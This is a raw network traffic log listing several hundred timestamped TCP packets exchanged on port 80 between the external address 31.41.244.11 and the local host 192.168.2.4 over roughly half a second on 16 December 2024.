Dec 16, 2024 21:02:45.133002996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.133027077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.133049965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.133063078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.133838892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.133863926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.133910894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.134829998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.134874105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.134933949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.134977102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.135826111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.135878086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.135946035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.135993004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.136857033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.136905909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.136979103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.137095928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.137820005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.137861013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.137913942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.137954950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.138803959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.138849020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.138905048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.138952017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.139805079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.139873981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.139918089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.139956951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.140875101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.140919924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.140976906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.141019106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.141789913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.141840935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.141942978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.142020941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.142786980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.142827988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.143157005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.143264055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.143760920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.143796921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.143866062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.143963099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.144762993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.144813061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.144866943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.144917965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.145751953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.145796061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.145874977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.145911932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.146773100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.146816969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.146857977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.146898985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.147706985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.147752047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.147759914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.147805929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.148706913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.148838997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.148849964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.148885965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.149687052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.149729967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.149802923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.149838924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.150691032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.150732994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.150741100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.150774956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.151747942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.151788950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.151865959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.152071953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.152671099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.152718067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.152791023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.152834892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.153573990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.153654099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.293412924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.293586969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.293689013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.293864012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.293884039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.293900967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.293955088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.294841051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.294883966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.294922113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.294960976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.295867920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.295912981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.295929909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.295967102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.296861887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.296989918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.297044992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.297847033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.297883987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.298015118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.298296928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.298873901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.298934937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.298980951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.299889088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.299931049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.300180912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.300228119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.300858974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.300896883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.300935030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.300971031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.301848888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.301897049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.301970959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.302010059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.302794933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.302843094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.302880049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.302923918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.303783894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.303827047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.303893089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.303930998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.304749012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.304802895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.304806948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.304842949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.305818081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.305912971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.306742907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.306780100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.306790113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.306803942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.306839943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.307801962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.307852030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.307921886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.308056116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.308748960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.308795929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.308801889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.308831930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.310077906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.310153961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.310178995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.310224056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.310790062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.310837030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.310918093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.310956001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.311815977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.311856985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.311897993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.311938047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.312736034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.312776089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.312819004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.312855959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.313669920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.313811064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.313848019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.314650059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.314693928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.314729929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.314765930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.315661907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.315721989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.315932035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.316041946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.316617966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.316660881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.316730022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.316771984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.317655087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.317699909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.317770004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.317810059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.318609953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.318659067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.318711042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.318747997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.319612980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.319658041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.319740057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.319780111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.320605040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.320664883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.320684910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.320723057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.321616888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.321676970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.321713924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.321749926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.322686911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.322731018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.322964907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.323007107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.323579073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.323620081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.323695898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.323741913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.324573040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.324624062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.324662924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.324704885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.325562000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.325609922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.325706005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.325889111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.326554060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.326611042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.326646090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.326689005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.327512026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.327568054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.327596903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.327635050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.328516006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.328628063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.328675985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.329520941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.329626083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.329674959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.330522060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.330563068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.330691099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.330737114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.331475973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.331522942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.331562042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.331599951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.332468987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.332516909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.332556009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.332845926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.333477974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.333523989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.333595037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.333648920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.334459066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.334507942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.334573030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.334681034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.335637093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.335764885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.335813999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.336435080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.336488962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.336646080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.336690903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.337444067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.337479115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.337524891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.338398933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.338471889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.338522911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.339529991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.339550018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.339580059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.339596987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.340460062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.340507984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.340511084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.340584993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.341485023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.341533899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.341572046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.341726065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.342350006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.342400074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.342431068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.342479944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.343373060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.343421936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.343491077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.343539953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.344337940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.344392061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.344459057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.344747066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.346613884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.346667051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.515026093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.515048981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.515095949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.515280008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.515326977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.515361071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.515400887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.516316891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.516416073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.516477108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.517273903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.517323017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.517652988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.517699957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.518436909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.518496037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.518527031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.518579006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.519242048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.519298077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.519365072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.519412994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.520226002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.520272017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.520334959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.520387888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.521261930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.521311045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.521382093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.521429062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.522254944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.522295952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.522459984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.522497892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.523217916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.523269892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.523299932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.523358107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.524204969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.524256945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.524288893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.524348974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.525203943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.525247097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.525582075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.525774002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.526180029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.526220083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.526256084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.526300907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.527219057 CET	80	49842	31.41.244.11	192.168.2.4
